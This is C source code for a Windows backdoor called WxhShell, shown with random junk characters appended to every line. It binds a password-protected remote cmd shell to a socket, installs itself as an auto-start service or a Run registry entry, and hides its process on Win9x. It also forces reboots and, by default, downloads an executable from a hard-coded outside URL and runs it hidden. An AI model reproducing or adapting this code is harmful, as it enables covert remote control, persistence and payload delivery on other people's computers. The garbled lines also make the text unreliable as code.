    if(Boot(SHUTDOWN)) P~Ss\PT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `uL^!-  
    else { BK._cDR  
    closesocket(wsh); (80 Tbi~+  
    ExitThread(0); &|rh~;:jUX  
    } *7MTq_K(An  
    break;   -58  
    } Wp!#OY1?  
  // 获取shell xD[O8vQE  
  case 's': { ux-puG  
    CmdShell(wsh); 78'HE(*  
    closesocket(wsh); v5J% p4  
    ExitThread(0); U/2]ACGCN^  
    break; *fs'%"w-  
  } ""-#b^DQ  
  // 退出 @2H"8KX  
  case 'x': { $Pw@EC]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t As@0`x9  
    CloseIt(wsh); K/)*P4C-  
    break; ' fXBWi6  
    } C(o]3):?  
  // 离开 Z x&gr|)}  
  case 'q': { 0K/?8[#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); alu3CE  
    closesocket(wsh); Q4;eN w  
    WSACleanup(); >^mNIfdE^=  
    exit(1); !ho~@sc{W  
    break; ,+`1/  
        } IK#W80y  
  } "`Y.N$M`k  
  } frB~ajXK  
v2X>%  
  // 提示信息 Nr24Rv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ""LCyKu   
} n/ ]<Bc?  
  } pv/LTv  
@KtQ~D  
  return; >kK!/#ZA  
} Co`O{|NS}!  
VK/@jrL+  
// shell模块句柄 ~M@'=Q*~  
int CmdShell(SOCKET sock) ]`[r=cG  
{ RZwjc<T  
STARTUPINFO si; $:|z{p  
ZeroMemory(&si,sizeof(si)); ldEZ_g^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C?I vXPlV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @y3u'Y,B  
PROCESS_INFORMATION ProcessInfo; AawK/tfs  
char cmdline[]="cmd";  U~%V;*|4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BK,h$z7#6  
  return 0; i:8g3|JfMe  
} gDY+'6m;  
p72:oX\Q I  
// 自身启动模式 /`d|W$vN  
int StartFromService(void) ARcPHV<(2  
{ A\{dq:  
typedef struct L`$m<9w'  
{ J$Huzs#  
  DWORD ExitStatus; r3~~4Q4XI>  
  DWORD PebBaseAddress; 9wR-0E )  
  DWORD AffinityMask; w QV4[  
  DWORD BasePriority; 0}(ZW~& 1  
  ULONG UniqueProcessId; [=Qv?am  
  ULONG InheritedFromUniqueProcessId; ']'H8Y-M  
}   PROCESS_BASIC_INFORMATION; }o>6 y>=  
zGm#er E  
PROCNTQSIP NtQueryInformationProcess; "rnZ<A}  
y,I?3 p|S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {Pi+VuLE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }B-@lbK6)  
 ;'^5$q  
  HANDLE             hProcess; EN OaC  
  PROCESS_BASIC_INFORMATION pbi; >0#WkmRY  
\tL 9`RKpg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G$hH~{Y$  
  if(NULL == hInst ) return 0; >G4EiJS  
' KX'{Gy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k-o(Q"[ '  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x2@Q5|a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;4E.Yr*  
M$|r8%z1  
  if (!NtQueryInformationProcess) return 0; 1h.Ypz u  
wI\ n%#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YX||\  
  if(!hProcess) return 0; n veHLHvC7  
.=y-T=}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e1*<9&S  
o6{[7jI  
  CloseHandle(hProcess); H l'za  
os=Pr{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ifo^ M]v  
if(hProcess==NULL) return 0; *-KgU'u?  
cmw2EHTT<  
HMODULE hMod; yrp;G_  
char procName[255]; Tt,<@U[/}  
unsigned long cbNeeded; P)h ZFX  
FlWgTn>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z(-j%?  
[&6VI?  
  CloseHandle(hProcess); *} yOL [  
:n1^Xw0q  
if(strstr(procName,"services")) return 1; // 以服务启动 ?Hb5<,1u3  
p&Os5zw;|  
  return 0; // 注册表启动 D{%l 4og  
} }3G`f> s  
Fpz)@0K;  
// 主模块 zli@XZ#  
int StartWxhshell(LPSTR lpCmdLine) u}zCcWP|L  
{ M MyVm"w  
  SOCKET wsl; H9d! -9I  
BOOL val=TRUE; Mq!vu!  
  int port=0; :>@6\    
  struct sockaddr_in door; (}$pf6s  
;0)|c}n+.5  
  if(wscfg.ws_autoins) Install(); }N^A (`L  
Y)X 'hk)5|  
port=atoi(lpCmdLine); vr/O%mDp  
)qg cz<p?W  
if(port<=0) port=wscfg.ws_port; <W,M?r+  
3~Qvp )~  
  WSADATA data; ?Cg",k'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  s~A#B)wB  
`WjRb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O'<5PwhG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {km~,]N  
  door.sin_family = AF_INET; ^/K]id7 2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p2v+sWO  
  door.sin_port = htons(port); 3^ct;gz  
%kod31X3<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xJ/<G$LNJ0  
closesocket(wsl); 6P0\t\D0  
return 1; WtT* 1Z  
} z>\vYR$  
9Ai e$=  
  if(listen(wsl,2) == INVALID_SOCKET) { 3ID 1>  
closesocket(wsl); R)p+#F(s  
return 1; pzkl;"gK  
} yuTSzl25,/  
  Wxhshell(wsl); br@GnjG  
  WSACleanup(); ?Ek 3<7d  
3Kv~lo^  
return 0; K>!+5A$6i  
NJ^H"FLS:  
} h($XR+!#  
+pGkeZX  
// 以NT服务方式启动 K?M{=$N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 17-D\ +}  
{ ;zMZ+GZ?;+  
DWORD   status = 0; vG`;2laY  
  DWORD   specificError = 0xfffffff; v-(Ry<fT9  
*bi!iz5F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *.4VO+^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &, =Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OGDCC/  
  serviceStatus.dwWin32ExitCode     = 0; MF7q*f  
  serviceStatus.dwServiceSpecificExitCode = 0; 5Op|="W.  
  serviceStatus.dwCheckPoint       = 0; OKXELP  
  serviceStatus.dwWaitHint       = 0; 3Pj#k|(f[0  
7P& O{tl(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ({"jL*S,q  
  if (hServiceStatusHandle==0) return; kOu C@~,  
\`FpBE_e)  
status = GetLastError(); KdBE[A-1^M  
  if (status!=NO_ERROR) 2j9+ f{ l  
{ S< TUZ /;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )SX2%&N  
    serviceStatus.dwCheckPoint       = 0; 2J>v4EWC  
    serviceStatus.dwWaitHint       = 0; 0 `Yg  
    serviceStatus.dwWin32ExitCode     = status; Cb`2"mpWS  
    serviceStatus.dwServiceSpecificExitCode = specificError; EAPLe{qw:q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hI+mx  
    return; !Vtj:2PQL  
  } 'Gr}<B$A3  
#:UP'v=w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5$Q}Zxh  
  serviceStatus.dwCheckPoint       = 0; kjS9?>i  
  serviceStatus.dwWaitHint       = 0; 5,i0QT"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PVNDvUce  
} Kd<c'!  
)~u<u:N  
// 处理NT服务事件,比如:启动、停止 qs9q{n-Aj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l r16*2.  
{ G_5uO58  
switch(fdwControl) ^lI>&I&1  
{ X,ES=J0  
case SERVICE_CONTROL_STOP: rw9m+q  
  serviceStatus.dwWin32ExitCode = 0; bu}N{cW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X(YR).a~  
  serviceStatus.dwCheckPoint   = 0; WbIf)\  
  serviceStatus.dwWaitHint     = 0; ^]{)gk8P~2  
  { []\=(Uc;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?}mbp4+j[  
  } q_J)68BR  
  return;  qHU=X"rn  
case SERVICE_CONTROL_PAUSE: 4!l%@R>O2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x{o&nhuk[S  
  break; 2. t'!uwI  
case SERVICE_CONTROL_CONTINUE: =!?4$vW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @(b;H0r~  
  break; AW\#)Em  
case SERVICE_CONTROL_INTERROGATE: JBvMe H5  
  break; km 0LLYG  
}; =!V-V}KK-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dTATJ)NH  
} { Rd){ky@  
=IIB~h[TB  
// 标准应用程序主函数 c9uln  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9'{i |xG  
{ ZcP/rT3{^  
oP%'8%tk  
// 获取操作系统版本 ?Dr_WFNjO  
OsIsNt=GetOsVer(); _e9S"``  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +nOa&d\  
bb@3%r|_<  
  // 从命令行安装 [k<w'n*  
  if(strpbrk(lpCmdLine,"iI")) Install(); JSCZX:5  
)<>1Q{j@  
  // 下载执行文件 EN\ uX!  
if(wscfg.ws_downexe) { (mR ;MC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v 7g?  
  WinExec(wscfg.ws_filenam,SW_HIDE); DJ]GM|?  
} 5N5Deb#V  
V1d{E 0lM  
if(!OsIsNt) { %F.^cd"  
// 如果时win9x,隐藏进程并且设置为注册表启动 I<&(Dg|XQ  
HideProc(); JKJ+RkXf3  
StartWxhshell(lpCmdLine); !! \O B6  
} It@1!_tO2  
else MlVVST  
  if(StartFromService()) u?a4v\  
  // 以服务方式启动 GcHy`bQbiX  
  StartServiceCtrlDispatcher(DispatchTable); 5 `Mos  
else ]ssX,1#Xh  
  // 普通方式启动 5Mb5t;4b  
  StartWxhshell(lpCmdLine); T\"eqa  
an<loL W  
return 0; $bho]~  
} "m'roU  
KhWt9=9  
sf(2~BMQI  
U6sPJc<  
=========================================== bS2)L4MQY  
`#Yv(a2TY  
V=+wsc  
k% -S7iQ  
(& =gM  
=0" Zse,  
" M{   
t:N3k ;k  
#include <stdio.h> =]Vrl-a`^  
#include <string.h> Q=}U  
#include <windows.h> Nfdh0v  
#include <winsock2.h> o'hwyXy/S  
#include <winsvc.h> @qaK5  
#include <urlmon.h> vf&Sk`  
]y52%RAKI  
#pragma comment (lib, "Ws2_32.lib") (vXes.|+t  
#pragma comment (lib, "urlmon.lib") y(2FaTjM  
;v=v4f'+  
#define MAX_USER   100 // 最大客户端连接数 Gd:fh5u':  
#define BUF_SOCK   200 // sock buffer B}|(/a@*  
#define KEY_BUFF   255 // 输入 buffer $,&3:ke1  
nN|1cJ'.Fk  
#define REBOOT     0   // 重启 `{ 6K~(  
#define SHUTDOWN   1   // 关机 P+/6-CJ  
)=EJFQ*v  
#define DEF_PORT   5000 // 监听端口 "6} #65  
5m(V(@a3  
#define REG_LEN     16   // 注册表键长度  fcLVE  
#define SVC_LEN     80   // NT服务名长度 TQjM3Ri=V  
fd CN?p[_  
// 从dll定义API u,f$cR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9-6E(D-ux  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -$0w-M8'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z'ZN^j{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KgCQ4w9  
HT@/0MF{J  
// wxhshell配置信息 NR@n%p  
struct WSCFG { }o  {6  
  int ws_port;         // 监听端口 gb clk~kX  
  char ws_passstr[REG_LEN]; // 口令 ]u(EEsG/  
  int ws_autoins;       // 安装标记, 1=yes 0=no >i:h dcxe  
  char ws_regname[REG_LEN]; // 注册表键名 G|,'6|$jE  
  char ws_svcname[REG_LEN]; // 服务名 E#I^D/0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <lxE^M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c7[+gc5}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JS:AHJSz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^XbN&'^,HL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6Pzz= ai<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q,->E<8  
9bVPMq7}i  
}; k5X& |L/  
rERHfr`OU  
// default Wxhshell configuration <T0+-]i  
struct WSCFG wscfg={DEF_PORT, !U?Z<zh  
    "xuhuanlingzhe", 5[\LQtM  
    1, Bl6>y/  
    "Wxhshell", k#Bq8d  
    "Wxhshell", N-Jp; D  
            "WxhShell Service", teDO,$  
    "Wrsky Windows CmdShell Service", {WYHT6Z  
    "Please Input Your Password: ", z:+fiJB_  
  1, 9}_ccq  
  "http://www.wrsky.com/wxhshell.exe", Bf-KCqC".  
  "Wxhshell.exe" ,f(:i^iz!  
    }; %=t8   
4#c-?mh_  
// 消息定义模块 1p%75VW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vr1yj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c&rS7%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }wkZ\q[  
char *msg_ws_ext="\n\rExit."; = "N?v-  
char *msg_ws_end="\n\rQuit."; 61"w>;d6  
char *msg_ws_boot="\n\rReboot..."; pMy];9SvW  
char *msg_ws_poff="\n\rShutdown..."; x6BO%1  
char *msg_ws_down="\n\rSave to "; @9X+ BdQU  
'U8% !  
char *msg_ws_err="\n\rErr!"; O 6}eV^y  
char *msg_ws_ok="\n\rOK!"; 2 &+Nr+P  
Z91GM1lrf8  
char ExeFile[MAX_PATH]; +l8`oQuG  
int nUser = 0; %l.5c Sn@  
HANDLE handles[MAX_USER]; BWHH:cX  
int OsIsNt; " F3M  m  
1[&V6=n  
SERVICE_STATUS       serviceStatus; }kK6"]Tj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  `[=3_  
+YA,HhX9  
// 函数声明 zP(UaSXz/  
int Install(void); F4|Z:e,Hr  
int Uninstall(void); v.~uJ.T  
int DownloadFile(char *sURL, SOCKET wsh); 8qi6>}A  
int Boot(int flag); 8:=EA3  
void HideProc(void); Q Jnji  
int GetOsVer(void); dhAkD-Lh  
int Wxhshell(SOCKET wsl); {|Pg]#Wi&  
void TalkWithClient(void *cs); \F }s"#  
int CmdShell(SOCKET sock); + yF._Ie=  
int StartFromService(void); |sIr}}  
int StartWxhshell(LPSTR lpCmdLine); f#mcW L1}  
GqT 0SP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?8O %k<?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *;noZ9{"+  
;*Z.|?3 MM  
// 数据结构和表定义 g=gWkN <  
SERVICE_TABLE_ENTRY DispatchTable[] = C72!::o  
{ EG|fGkv"  
{wscfg.ws_svcname, NTServiceMain}, `BA,_N|6  
{NULL, NULL} N;A#K 7A[@  
}; ;:/<XfZ  
!pMp n%r<]  
// 自我安装 PU\?eA  
int Install(void) :qQpBr$  
{ [!k#au+#c  
  char svExeFile[MAX_PATH]; 4-wCk=I  
  HKEY key; {}W9m)I  
  strcpy(svExeFile,ExeFile); PI5a 'k0F  
7 z#Xf  
// 如果是win9x系统,修改注册表设为自启动 ofu {g  
if(!OsIsNt) { o_K. +^$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bn5O;I13  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z^ e?V7q  
  RegCloseKey(key); ju AUeGT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%V95M% $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $<~o,e-4  
  RegCloseKey(key); oOU?6nq  
  return 0; z'(][SB  
    } J!5>8I(_wX  
  } )0Lno|l  
} ^Iz(V2  
else { x2KIGG ^  
O$2'$44HX  
// 如果是NT以上系统,安装为系统服务 b\dzB\,&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \"X<\3z2  
if (schSCManager!=0) }!W,/=z*  
{ F_?aoP&5  
  SC_HANDLE schService = CreateService @ z{E  
  ( 20O\@}2q2M  
  schSCManager, n'&Cr0{  
  wscfg.ws_svcname, ~`<(T)rs  
  wscfg.ws_svcdisp, 6;:s N8M+1  
  SERVICE_ALL_ACCESS, C_RxJWka  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , **%/Ke[  
  SERVICE_AUTO_START, %DKQ   
  SERVICE_ERROR_NORMAL, 5c W2  
  svExeFile, *A>I)a<:  
  NULL, w,<nH:~  
  NULL, -j6&W`  
  NULL, ^x:%_yGY  
  NULL, \}:&Hl+  
  NULL f*{~N!g  
  ); C`uZr k/  
  if (schService!=0) t81}jD  
  { Q}A*{9#|  
  CloseServiceHandle(schService); \UD:9g"  
  CloseServiceHandle(schSCManager); Yb~[XS |p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /hojm6MM  
  strcat(svExeFile,wscfg.ws_svcname); 7AE)P[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { " wB~*,Ny  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |fJpX5W-l  
  RegCloseKey(key); w=]bj0<A=  
  return 0; D]{#!w(d  
    } Ed(6%kd  
  } Y\Z.E ;  
  CloseServiceHandle(schSCManager); 4FWb5b!A=  
} u+&t"B  
} -UHa;W H  
}i"\?M  
return 1; xUiSAKrcM  
} c%5G3j  
 &Ow[  
// 自我卸载 .??[qBOTE  
int Uninstall(void) tML[~AZh  
{ ,<pk&54.@'  
  HKEY key; ] BJ]  
~w&_l57  
if(!OsIsNt) { D9cpw0{nc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .+;;-]})  
  RegDeleteValue(key,wscfg.ws_regname); Y"x9B%e  
  RegCloseKey(key); gCVgL]jj(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l;N?*2zm[  
  RegDeleteValue(key,wscfg.ws_regname); ?gp:uxq,.  
  RegCloseKey(key); * [\H)Lz  
  return 0; 0""t`y&  
  } pCE,l'Xa  
} &.> 2@  
} aSKLSl't`  
else { 0gI^GJN%Y!  
}67lL~L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 e}N{,&Y  
if (schSCManager!=0) l(o#N'!j4  
{ 7 )2Co[t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _I"T(2Au  
  if (schService!=0) n#{z"G  
  { Qx B0I/ {  
  if(DeleteService(schService)!=0) { D8`dEB2|S  
  CloseServiceHandle(schService); oj|\NlR  
  CloseServiceHandle(schSCManager); .4jU G=  
  return 0; vZDM}u  
  } 0/1Ay{ns  
  CloseServiceHandle(schService); W[+=_B  
  } |>/T*zk<  
  CloseServiceHandle(schSCManager); *Zj2*e{Z9U  
} :sf(=Y.qA  
} 9^DXw!  
J=%(f1X<W  
return 1; 20Umjw.D  
} [VD)DO5  
i'[o,dbE  
// 从指定url下载文件 x&ngCB@O  
int DownloadFile(char *sURL, SOCKET wsh) j}uVT2ZE%  
{ *J ]2"~_.  
  HRESULT hr; }mZ sK>  
char seps[]= "/"; ;;A8TcE '  
char *token; -<Wv7FNpD  
char *file; _iJ8*v 8A  
char myURL[MAX_PATH]; Sk ~( t  
char myFILE[MAX_PATH]; 0Gq}x;8H&  
'b?Px}  
strcpy(myURL,sURL); (M>[D!Yt  
  token=strtok(myURL,seps); B 66-l!xa  
  while(token!=NULL) -f{NVX\<0  
  { ~ AU!Gm.  
    file=token; }i)^?@  
  token=strtok(NULL,seps); 4Jf6uhaE  
  } 4iDlBs+  
>~nc7j u  
GetCurrentDirectory(MAX_PATH,myFILE); d0b`qk @4  
strcat(myFILE, "\\"); gcaXN6C  
strcat(myFILE, file); ckglDhC  
  send(wsh,myFILE,strlen(myFILE),0); )L,.K O  
send(wsh,"...",3,0); 5._=m"Pl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Za*QX|  
  if(hr==S_OK) P5qY|_  
return 0; q|;Sn  
else #o(c=  
return 1; VGHy|5K$  
@T }p.  
} 8hKyp5(%l  
9XH}/FcP_O  
// 系统电源模块 8 2EH'C  
int Boot(int flag) l]bCt b%_  
{ shn{]Y  
  HANDLE hToken; @TvoCDeI  
  TOKEN_PRIVILEGES tkp; 8 [z<gxP`?  
xE[CNJ%t^,  
  if(OsIsNt) { @(~ m.p|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eSC69mfD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p+t79F.js  
    tkp.PrivilegeCount = 1; ggy 7p44  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `T-lBwH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,h#U<CnP#  
if(flag==REBOOT) { 7%%FYHMO:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "K!9^!4&  
  return 0; ZRK1 UpP  
} Fz3QSr7FU  
else { 6v]y\+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )|Ho"VEmg  
  return 0; 5Tb3Yy< .  
} 8,5H^Bi  
  } ~ sC<V  
  else { viLK\>>  
if(flag==REBOOT) { Ot^<:\< `G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NV[_XXTv7  
  return 0; l6AG!8H  
} U&(TqRi,  
else { uTX0lu;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nydhal00  
  return 0; &3o[^_Ti  
} |x Nd^  
} 3 zF"GT  
'&|]tu:q  
return 1; N9[2k.oBH  
} "I7 Sed7  
OLl?1  
// win9x进程隐藏模块 Dd=iYM m7  
void HideProc(void) ITq$8  
{ _6"YWR  
-f4>4@y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t$*V*gK{  
  if ( hKernel != NULL ) g4`)n`  
  { " iKX-VIl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "%,KZI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K<3$>/|  
    FreeLibrary(hKernel); +RuPfw{z  
  } y5v}EX`m&  
MgP6ki1z  
return; nVK`H@5fw  
} t!u{sr{j=  
nJ ZQRRa:C  
// 获取操作系统版本 ? eU=xO  
int GetOsVer(void) gmU0/z3&  
{ Gp PlO]  
  OSVERSIONINFO winfo; ]h`<E~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k *#fN(_  
  GetVersionEx(&winfo); z1WF@ Ej  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hf ]w  
  return 1; {|jrYU.k~  
  else DM73 Nn^5  
  return 0; Z6`oGFq  
} n*HRGJ  
.QaHE`e{  
// 客户端句柄模块 gk*Md+  
int Wxhshell(SOCKET wsl) DH5]Kzb/  
{ jDaWmy<ha  
  SOCKET wsh; m V U(b,  
  struct sockaddr_in client; W8/8V,  
  DWORD myID; S]P80|!|  
0D\b;ju<  
  while(nUser<MAX_USER) =N +Ou5D  
{ H=f'nm]dQ  
  int nSize=sizeof(client); 5z$>M3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %U4w@jp  
  if(wsh==INVALID_SOCKET) return 1; Ga%x(1U[&  
,z*-93H1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $_5@ NOZ,M  
if(handles[nUser]==0) HLP nbI-+  
  closesocket(wsh); @ZD/y %e  
else T9c=As_EM  
  nUser++; n1Y3b~E?E  
  } UT^-!L LB]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AIx,c1G]K  
g#=~A&4q  
  return 0; 1e0O-aT#Q  
} !.(%"  
)RQX1("O  
// 关闭 socket <K#]1xCA  
void CloseIt(SOCKET wsh) d+6 by,'  
{ $c WO`\XM  
closesocket(wsh); ~(|~Ze>  
nUser--; 2K 8?S  
ExitThread(0); CUS^j  
} z_jTR[dY  
"DW; 6<m  
// 客户端请求句柄 )k@+8Yfa1p  
void TalkWithClient(void *cs) Sb9In_* 0  
{ Ww }qK|D  
\[-z4Fxg|'  
  SOCKET wsh=(SOCKET)cs; LEUD6 M+~t  
  char pwd[SVC_LEN]; kRyt|ryWh  
  char cmd[KEY_BUFF]; LB)sk$)  
char chr[1]; ]/_GHG9  
int i,j; Hko(@z  
g;>M{)A  
  while (nUser < MAX_USER) { ${/"u3a_  
f +#  
if(wscfg.ws_passstr) { Od>^yhn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bwo{ Lw~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Wos6_  
  //ZeroMemory(pwd,KEY_BUFF); \n @S.Y?P  
      i=0; K-xmLEu  
  while(i<SVC_LEN) { iz2I4 _N  
0'DlsC/`*  
  // 设置超时 S[J=d%(  
  fd_set FdRead; ;T|y^D  
  struct timeval TimeOut; Rv ]?qJL  
  FD_ZERO(&FdRead); Lnk!zj  
  FD_SET(wsh,&FdRead); +Rtz`V1d  
  TimeOut.tv_sec=8; +18)e;   
  TimeOut.tv_usec=0; Y'.WO[dgf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]Tje6i F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `%2e?"OOJ  
Kp|#04]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . k6)  
  pwd=chr[0]; H& #Od?  
  if(chr[0]==0xd || chr[0]==0xa) { H3#xBn>9  
  pwd=0; >};6>)0  
  break; u% ^Lu.l_c  
  } [N|/d#  
  i++; I82?sQ7  
    } "4{_amgm&<  
X9:(}=E V  
  // 如果是非法用户,关闭 socket &wZ ggp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I<w`+<o(  
} !n=@(bT*wT  
brQkVt_)EE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cI)XXb4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A2` QlhZ  
bb6 ~H  
while(1) { ;|2h&8yX(/  
5-277?  
  ZeroMemory(cmd,KEY_BUFF); (3RU|4Ks  
+ *YGsM`E9  
      // 自动支持客户端 telnet标准   BO5gwvyI  
  j=0; @-z#vJ5Qe{  
  while(j<KEY_BUFF) { AUloP?24  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XA[G F6W,Y  
  cmd[j]=chr[0]; W#<&(s4  
  if(chr[0]==0xa || chr[0]==0xd) { `ag7xd!  
  cmd[j]=0; $jYwV0  
  break; ub "(,k P  
  } s$Il;  
  j++; {__Z\D2I  
    } 1}E`K#  
x8a?I T.  
  // 下载文件 \WM*2&  
  if(strstr(cmd,"http://")) { #5?Q{ORN o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;Yrg4/Ipa  
  if(DownloadFile(cmd,wsh)) Mk=;UBb$X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L3Leb%,!  
  else 8gap _qTo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \?,'i/c-  
